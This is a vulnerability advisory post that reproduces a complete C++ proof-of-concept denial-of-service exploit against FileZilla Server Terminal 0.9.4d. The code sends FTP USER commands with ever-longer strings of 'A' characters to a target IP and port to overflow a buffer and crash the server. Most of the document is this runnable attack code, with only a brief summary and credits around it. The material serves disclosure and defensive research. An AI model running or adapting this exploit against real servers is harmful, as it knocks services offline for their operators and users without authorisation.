[EXPL] FileZilla DoS Exploit (Long USER)

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  FileZilla DoS Exploit (Long USER)
------------------------------------------------------------------------


SUMMARY

" <http://filezilla.sourceforge.net/> FileZilla Server is a reliable FTP 
server."

A buffer overflow with FileZilla server allow attackers to cause a DoS on 
the server.

DETAILS

Vulnerable Systems:
 * FileZilla Server Terminal 0.9.4d

Exploit:
/*
FileZillaDoS.cpp
FileZilla Server Terminal 0.9.4d DoS PoC by Inge Henriksen.
Read the disclaimer at http://ingehenriksen.blogspot.com before using.
Made to work with Microsoft(R) Visual C++(R), to use link "WS2_32.lib".
*/

#include "stdafx.h"
#include <iostream>
#include "Winsock2.h"

#define BUFFSIZE 10000
#define ATTACK_BUFFSIZE 5000

using namespace std;

int _tmain(int argc, _TCHAR* argv[])
{
        cout << "FileZilla Server Terminal 0.9.4d DoS PoC by Inge 
Henriksen." << endl;
        cout << "Read the disclaimer at http://ingehenriksen.blogspot.com 
before using." << endl;
        if (argc!=3)                    // Exit if wrong number of 
arguments
        {
                cerr << "Error: Wrong number of arguments" << endl;
                cout << "Usage: " << argv[0] << " <Target IP> <Target 
Port>" << endl;
                cout << "Example: " << argv[0] << " 192.168.2.100 21" << 
endl;
                return (-1);
        }

        in_addr IPAddressData;
        __int64 counterVal;
        char* bufferData;
        char* attackStringData;
        SOCKET sock;
        sockaddr_in sinInterface;

        WSADATA wsaData;
        int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);             // 
Use Winsock version 2.2
        if (iResult != NO_ERROR)
        {
                cerr << "Error: WSAStartup() failed" << endl;
                return(-1);
        }

        int recvRet;
        char tmpBuffer[BUFFSIZE];
        char tmpAttackBuffer[ATTACK_BUFFSIZE];
        tmpAttackBuffer[0] = 'U';
        tmpAttackBuffer[1] = 'S';
        tmpAttackBuffer[2] = 'E';
        tmpAttackBuffer[3] = 'R';
        tmpAttackBuffer[4] = ' ';

        int i;
        int j=5;
        for (i=j;i<ATTACK_BUFFSIZE-6;i++)
        {
                int k;
                for(k=j;k<=i;k++)
                {
                        tmpAttackBuffer[k] = 'A';
                }
                tmpAttackBuffer[k] = '\n';
                tmpAttackBuffer[k+1] = '\0';

                sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP );
                if ((int)(sock)==-1)
                {
                        cerr << "Error: Could not create socket" << endl;
                        return(-1);
                }

                sinInterface.sin_family = AF_INET;
                sinInterface.sin_addr.s_addr = inet_addr(argv[1]);
                sinInterface.sin_port = htons(atoi(argv[2]));

                if ((connect(sock,(sockaddr*)&sinInterface 
,sizeof(sockaddr_in))!=SOCKET_ERROR))
                {
                        int sendResult = send( sock, tmpAttackBuffer , 
(int)strlen(tmpAttackBuffer), 0);
                        cout << "Sent " << strlen(tmpAttackBuffer) << " 
characters" << endl;
                        if ( sendResult != SOCKET_ERROR )
                        {
                                recvRet = SOCKET_ERROR;

                                for (int i=0;i<BUFFSIZE;i++)
                                        tmpBuffer[i]=(char)0;

                                recvRet = recv( sock, tmpBuffer , 
BUFFSIZE-1, 0 );
                                if ( recvRet == SOCKET_ERROR )
                                        cerr << "Error: recv() failed" << 
endl;
                                else
                                        cout << "Response is: " << endl << 
tmpBuffer << endl;;
                        }
                        else
                                cerr << "Error: send() failed" << endl;

                        if (shutdown(sock,0)==SOCKET_ERROR)
                                cerr << "Error: shutdown() failed" << 
endl;
                }
                else
                        cerr << "Error: connect() failed" << endl;

                if (closesocket(sock)==SOCKET_ERROR)
                        cerr << "Error: closesocket() failed" << endl;

        }       // End for loop

        return 0;
}

/* EoF */


ADDITIONAL INFORMATION

The information has been provided by  
<mailto:inge.henriksen@booleansoft.com> Inge Henriksen.
The original article can be found at:  
<http://ingehenriksen.blogspot.com/2005/11/filezilla-server-terminal-094d-dos-poc_21.html>
 
http://ingehenriksen.blogspot.com/2005/11/filezilla-server-terminal-094d-dos-poc_21.html



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